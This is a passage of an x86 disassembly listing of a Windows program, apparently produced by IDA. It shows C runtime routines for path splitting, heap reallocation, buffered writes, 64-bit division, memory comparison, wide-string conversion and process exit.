		pop	esi
		pop	ebx
		retn	10h
sub_417370	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4173D8	proc near		; CODE XREF: sub_409F1E+1E3p
					; sub_40CB17+F7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_415C80
		cmp	eax, 1
		pop	ecx
		jb	short loc_417413
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_417413
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41740F
		push	2
		push	ebx
		push	esi
		call	sub_41CE2D
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41740F:				; CODE XREF: sub_4173D8+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41741D
; ---------------------------------------------------------------------------


loc_417413:				; CODE XREF: sub_4173D8+18j
					; sub_4173D8+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41741D
		and	byte ptr [eax],	0


loc_41741D:				; CODE XREF: sub_4173D8+39j
					; sub_4173D8+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_417495


loc_417430:				; CODE XREF: sub_4173D8+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	ds:byte_4CA5E1[edx], 4
		jz	short loc_417441
		inc	eax
		jmp	short loc_41745B
; ---------------------------------------------------------------------------


loc_417441:				; CODE XREF: sub_4173D8+64j
		cmp	cl, 2Fh
		jz	short loc_417455
		cmp	cl, 5Ch
		jz	short loc_417455
		cmp	cl, 2Eh
		jnz	short loc_41745B
		mov	[ebp+var_4], eax
		jmp	short loc_41745B
; ---------------------------------------------------------------------------


loc_417455:				; CODE XREF: sub_4173D8+6Cj
					; sub_4173D8+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41745B:				; CODE XREF: sub_4173D8+67j
					; sub_4173D8+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417430
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_417495
		cmp	[ebp+arg_8], 0
		jz	short loc_417490
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_417479
		mov	edi, esi


loc_417479:				; CODE XREF: sub_4173D8+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41CE2D
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_417490:				; CODE XREF: sub_4173D8+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41749F
; ---------------------------------------------------------------------------


loc_417495:				; CODE XREF: sub_4173D8+56j
					; sub_4173D8+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41749F
		and	byte ptr [ecx],	0


loc_41749F:				; CODE XREF: sub_4173D8+BBj
					; sub_4173D8+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4174F2
		cmp	edi, ebx
		jb	short loc_4174F2
		cmp	[ebp+arg_C], 0
		jz	short loc_4174CF
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_4174B8
		mov	edi, esi


loc_4174B8:				; CODE XREF: sub_4173D8+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41CE2D
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_4174CF:				; CODE XREF: sub_4173D8+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41751A
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4174DF
		mov	esi, eax


loc_4174DF:				; CODE XREF: sub_4173D8+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41CE2D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41751A
; ---------------------------------------------------------------------------


loc_4174F2:				; CODE XREF: sub_4173D8+CCj
					; sub_4173D8+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_417510
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_417501
		mov	esi, eax


loc_417501:				; CODE XREF: sub_4173D8+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41CE2D
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_417510:				; CODE XREF: sub_4173D8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41751A
		and	byte ptr [eax],	0


loc_41751A:				; CODE XREF: sub_4173D8+FCj
					; sub_4173D8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4173D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41751F	proc near		; CODE XREF: sub_40A627+19p
					; sub_40BAA1+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_417F58
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41755D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41756A
; ---------------------------------------------------------------------------


loc_41755D:				; CODE XREF: sub_41751F+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417E43
		pop	ecx
		pop	ecx


loc_41756A:				; CODE XREF: sub_41751F+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41751F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41756F	proc near		; CODE XREF: sub_40A86D+2Ep
					; sub_4167B3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41758A
		push	[ebp+arg_4]
		call	sub_415D2F
		pop	ecx
		jmp	loc_41780A
; ---------------------------------------------------------------------------


loc_41758A:				; CODE XREF: sub_41756F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41759F
		push	[ebp+arg_0]
		call	sub_415DE1
		pop	ecx
		jmp	loc_417808
; ---------------------------------------------------------------------------


loc_41759F:				; CODE XREF: sub_41756F+20j
		mov	eax, ds:dword_4CA708
		cmp	eax, 3
		jnz	loc_4176AF


loc_4175AD:				; CODE XREF: sub_41756F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41768B
		push	[ebp+arg_0]
		call	sub_418EA9
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_417666
		cmp	esi, ds:dword_4CA700
		ja	short loc_41761F
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_4196B2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41761B
		push	esi
		call	sub_4191FD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41761F
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4175FF
		mov	eax, esi


loc_4175FF:				; CODE XREF: sub_41756F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_415560
		push	ebx
		call	sub_418EA9
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_418ED4
		add	esp, 18h


loc_41761B:				; CODE XREF: sub_41756F+74j
		test	edi, edi
		jnz	short loc_417662


loc_41761F:				; CODE XREF: sub_41756F+62j
					; sub_41756F+81j
		test	esi, esi
		jnz	short loc_417626
		push	1
		pop	esi


loc_417626:				; CODE XREF: sub_41756F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4220C8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_417662
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41764E
		mov	eax, esi


loc_41764E:				; CODE XREF: sub_41756F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_415560
		push	[ebp+arg_0]
		push	ebx
		call	sub_418ED4
		add	esp, 14h


loc_417662:				; CODE XREF: sub_41756F+AEj
					; sub_41756F+D0j
		test	ebx, ebx
		jnz	short loc_417687


loc_417666:				; CODE XREF: sub_41756F+56j
		test	esi, esi
		jnz	short loc_41766D
		push	1
		pop	esi


loc_41766D:				; CODE XREF: sub_41756F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_4CA704
		call	ds:dword_42217C	; RtlReAllocateHeap
		mov	edi, eax


loc_417687:				; CODE XREF: sub_41756F+F5j
		test	edi, edi
		jnz	short loc_4176A8


loc_41768B:				; CODE XREF: sub_41756F+43j
		cmp	ds:dword_4C90E4, 0
		jz	short loc_4176A8
		push	esi
		call	sub_418C74
		test	eax, eax
		pop	ecx
		jnz	loc_4175AD
		jmp	loc_417808
; ---------------------------------------------------------------------------


loc_4176A8:				; CODE XREF: sub_41756F+11Aj
					; sub_41756F+123j ...
		mov	eax, edi
		jmp	loc_41780A
; ---------------------------------------------------------------------------


loc_4176AF:				; CODE XREF: sub_41756F+38j
		cmp	eax, 2
		jnz	loc_4177CA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4176CC
		test	esi, esi
		jbe	short loc_4176C9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4176CC
; ---------------------------------------------------------------------------


loc_4176C9:				; CODE XREF: sub_41756F+150j
		push	10h
		pop	esi


loc_4176CC:				; CODE XREF: sub_41756F+14Cj
					; sub_41756F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_4177AC
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_419C04
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_417790
		cmp	esi, ds:dword_4315A4
		jnb	short loc_417754
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419FCC
		add	esp, 10h
		test	eax, eax
		jz	short loc_41771A
		mov	edi, [ebp+arg_0]
		jmp	short loc_41774C
; ---------------------------------------------------------------------------


loc_41771A:				; CODE XREF: sub_41756F+1A4j
		push	edi
		call	sub_419CA0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_417754
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_417733
		mov	eax, esi


loc_417733:				; CODE XREF: sub_41756F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_415560
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419C5B
		add	esp, 18h


loc_41774C:				; CODE XREF: sub_41756F+1A9j
		test	edi, edi
		jnz	loc_4176A8


loc_417754:				; CODE XREF: sub_41756F+18Bj
					; sub_41756F+1B6j
		push	esi
		push	0
		push	ds:dword_4CA704
		call	ds:dword_4220C8	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_4177AC
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_417775
		mov	eax, esi


loc_417775:				; CODE XREF: sub_41756F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_415560
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_419C5B
		add	esp, 18h
		jmp	short loc_4177A4
; ---------------------------------------------------------------------------


loc_417790:				; CODE XREF: sub_41756F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_4CA704
		call	ds:dword_42217C	; RtlReAllocateHeap
		mov	edi, eax


loc_4177A4:				; CODE XREF: sub_41756F+21Fj
		test	edi, edi
		jnz	loc_4176A8


loc_4177AC:				; CODE XREF: sub_41756F+162j
					; sub_41756F+1F8j
		cmp	ds:dword_4C90E4, 0
		jz	loc_4176A8
		push	esi
		call	sub_418C74
		test	eax, eax
		pop	ecx
		jnz	loc_4176CC
		jmp	short loc_417808
; ---------------------------------------------------------------------------


loc_4177CA:				; CODE XREF: sub_41756F+143j
					; sub_41756F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4177F4
		test	esi, esi
		jnz	short loc_4177D8
		push	1
		pop	esi


loc_4177D8:				; CODE XREF: sub_41756F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	ds:dword_4CA704
		call	ds:dword_42217C	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_41780A


loc_4177F4:				; CODE XREF: sub_41756F+260j
		cmp	ds:dword_4C90E4, 0
		jz	short loc_41780A
		push	esi
		call	sub_418C74
		test	eax, eax
		pop	ecx
		jnz	short loc_4177CA


loc_417808:				; CODE XREF: sub_41756F+2Bj
					; sub_41756F+134j ...
		xor	eax, eax


loc_41780A:				; CODE XREF: sub_41756F+16j
					; sub_41756F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41756F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41780F	proc near		; CODE XREF: sub_40AEC8+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_417833
		xor	eax, eax
		jmp	loc_417900
; ---------------------------------------------------------------------------


loc_417833:				; CODE XREF: sub_41780F+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417846
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41784D
; ---------------------------------------------------------------------------


loc_417846:				; CODE XREF: sub_41780F+2Dj
		mov	[ebp+arg_C], 1000h


loc_41784D:				; CODE XREF: sub_41780F+35j
					; sub_41780F+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_417881
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417881
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_417867
		mov	edi, eax


loc_417867:				; CODE XREF: sub_41780F+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_415560
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4178C7
; ---------------------------------------------------------------------------


loc_417881:				; CODE XREF: sub_41780F+47j
					; sub_41780F+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4178CC
		test	ecx, ecx
		jz	short loc_417895
		push	esi
		call	sub_4188F0
		test	eax, eax
		pop	ecx
		jnz	short loc_41790E


loc_417895:				; CODE XREF: sub_41780F+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_4178A8
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_4178AA
; ---------------------------------------------------------------------------


loc_4178A8:				; CODE XREF: sub_41780F+8Aj
		mov	edi, ebx


loc_4178AA:				; CODE XREF: sub_41780F+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41CEB7
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417905
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_417905


loc_4178C7:				; CODE XREF: sub_41780F+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4178F5
; ---------------------------------------------------------------------------


loc_4178CC:				; CODE XREF: sub_41780F+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_417E43
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41790E
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4178F5
		mov	[ebp+arg_C], 1


loc_4178F5:				; CODE XREF: sub_41780F+BBj
					; sub_41780F+DDj
		test	ebx, ebx
		jnz	loc_41784D
		mov	eax, [ebp+arg_8]


loc_417900:				; CODE XREF: sub_41780F+1Fj
					; sub_41780F+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417905:				; CODE XREF: sub_41780F+ADj
					; sub_41780F+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_417910
; ---------------------------------------------------------------------------


loc_41790E:				; CODE XREF: sub_41780F+84j
					; sub_41780F+CFj
		mov	eax, edi


loc_417910:				; CODE XREF: sub_41780F+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_417900
sub_41780F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417919	proc near		; CODE XREF: sub_40B614+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	ds:off_422080
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417939
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		call	sub_41D064
		pop	ecx


loc_417935:				; CODE XREF: sub_417919+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_417939:				; CODE XREF: sub_417919+Dj
		test	al, 1
		jz	short loc_41795A
		test	[esp+arg_4], 2
		jz	short loc_41795A
		mov	ds:dword_4C9084, 0Dh
		mov	ds:dword_4C9088, 5
		jmp	short loc_417935
; ---------------------------------------------------------------------------


loc_41795A:				; CODE XREF: sub_417919+22j
					; sub_417919+29j
		xor	eax, eax
		retn
sub_417919	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417960	proc near		; CODE XREF: sub_40B73E+5Fp
					; sub_40B73E+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_417981
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_417981:				; CODE XREF: sub_417960+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41799D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41799D:				; CODE XREF: sub_417960+27j
		or	eax, eax
		jnz	short loc_4179B9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4179FA
; ---------------------------------------------------------------------------


loc_4179B9:				; CODE XREF: sub_417960+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_4179C7:				; CODE XREF: sub_417960+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4179C7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4179F5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4179F5
		jb	short loc_4179F6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4179F6


loc_4179F5:				; CODE XREF: sub_417960+85j
					; sub_417960+8Bj
		dec	esi


loc_4179F6:				; CODE XREF: sub_417960+8Dj
					; sub_417960+93j
		xor	edx, edx
		mov	eax, esi


loc_4179FA:				; CODE XREF: sub_417960+57j
		dec	edi
		jnz	short loc_417A04
		neg	edx
		neg	eax
		sbb	edx, 0


loc_417A04:				; CODE XREF: sub_417960+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_417960	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_417A5C
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_417A5D
		test	eax, 1
		jz	short loc_417A3D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_417A8A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_417A5A


loc_417A3D:				; CODE XREF: _0:00417A30j _0:00417A58j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_417A8A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_417A8A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_417A3D


loc_417A5A:				; CODE XREF: _0:00417A3Bj _0:00417A94j
		pop	edi
		pop	esi

locret_417A5C:				; CODE XREF: _0:00417A16j
		retn
; ---------------------------------------------------------------------------


loc_417A5D:				; CODE XREF: _0:00417A29j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_417A92
		repe cmpsd
		jz	short loc_417A92
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_417A85
		cmp	ch, dh
		jnz	short loc_417A85
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_417A85
		cmp	ch, dh


loc_417A85:				; CODE XREF: _0:00417A73j _0:00417A77j ...
		mov	eax, 0


loc_417A8A:				; CODE XREF: _0:00417A36j _0:00417A43j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417A92:				; CODE XREF: _0:00417A65j _0:00417A69j
		test	eax, eax
		jz	short loc_417A5A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_417A85
		dec	eax
		jz	short loc_417AB9
		cmp	dh, ch
		jnz	short loc_417A85
		dec	eax
		jz	short loc_417AB9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_417A85
		dec	eax


loc_417AB9:				; CODE XREF: _0:00417A9Fj _0:00417AA6j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_417ABC	proc near		; CODE XREF: sub_40CA59+55p
					; sub_4143F6+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_417AD3


loc_417AC9:				; CODE XREF: sub_417ABC+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_417AC9


loc_417AD3:				; CODE XREF: sub_417ABC+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_417ABC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AD9	proc near		; CODE XREF: sub_40CA59+19p
					; sub_40CA59+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_417BA6
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_417BD3
		cmp	ds:dword_4C911C, esi
		jnz	short loc_417B2A
		cmp	edi, esi
		jbe	loc_417BD3


loc_417B09:				; CODE XREF: sub_417AD9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_417BD3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_417B09
		jmp	loc_417BD3
; ---------------------------------------------------------------------------


loc_417B2A:				; CODE XREF: sub_417AD9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, ds:dword_422134
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	ds:dword_4C912C
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_417BD2
		call	ds:dword_42206C	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jz	short loc_417B64


loc_417B55:				; CODE XREF: sub_417AD9+CBj
					; sub_417AD9+F7j
		mov	ds:dword_4C9084, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_417BD3
; ---------------------------------------------------------------------------


loc_417B64:				; CODE XREF: sub_417AD9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_417B6C:				; CODE XREF: sub_417AD9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_417B8E
		mov	edx, ds:off_42F360
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417B83
		inc	eax


loc_417B83:				; CODE XREF: sub_417AD9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_417B6C


loc_417B8E:				; CODE XREF: sub_417AD9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	ds:dword_4C912C
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_417BD3
		jmp	short loc_417B55
; ---------------------------------------------------------------------------


loc_417BA6:				; CODE XREF: sub_417AD9+Fj
		cmp	ds:dword_4C911C, esi
		jnz	short loc_417BB9
		push	[ebp+arg_4]
		call	sub_415C80
		pop	ecx
		jmp	short loc_417BD3
; ---------------------------------------------------------------------------


loc_417BB9:				; CODE XREF: sub_417AD9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	ds:dword_4C912C
		call	ds:dword_422134	; MultiByteToWideChar
		cmp	eax, esi
		jz	short loc_417B55


loc_417BD2:				; CODE XREF: sub_417AD9+6Bj
		dec	eax


loc_417BD3:				; CODE XREF: sub_417AD9+1Aj
					; sub_417AD9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417AD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BD8	proc near		; CODE XREF: _0:00417D97p
		mov	eax, ds:off_42F32C
		test	eax, eax
		jz	short loc_417BE3
		call	eax ; sub_415F19


loc_417BE3:				; CODE XREF: sub_417BD8+7j
		push	(offset	loc_42401D+3)
		push	offset dword_42400C
		call	sub_417CC0
		push	offset dword_424008
		push	offset dword_424000
		call	sub_417CC0
		add	esp, 10h
		retn
sub_417BD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C05	proc near		; CODE XREF: _0:00417DD6p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_417C27
		add	esp, 0Ch
		retn
sub_417C05	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C16	proc near		; CODE XREF: _0:00417DF5p
					; sub_417DFA+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_417C27
		add	esp, 0Ch
		retn
sub_417C16	endp


; =============== S U B	R O U T	I N E =======================================



sub_417C27	proc near		; CODE XREF: sub_417C05+8p
					; sub_417C16+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_4C90CC, edi
		jnz	short loc_417C44
		push	[esp+4+arg_0]
		call	ds:dword_42211C	; GetCurrentProcess
		push	eax
		call	ds:dword_422158	; TerminateProcess


loc_417C44:				; CODE XREF: sub_417C27+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_4C90C8, edi
		mov	ds:byte_4C90C4,	bl
		jnz	short loc_417C98
		mov	eax, ds:dword_4CA71C
		test	eax, eax
		jz	short loc_417C87
		mov	ecx, ds:dword_4CA718
		push	esi
		lea	esi, [ecx-4]
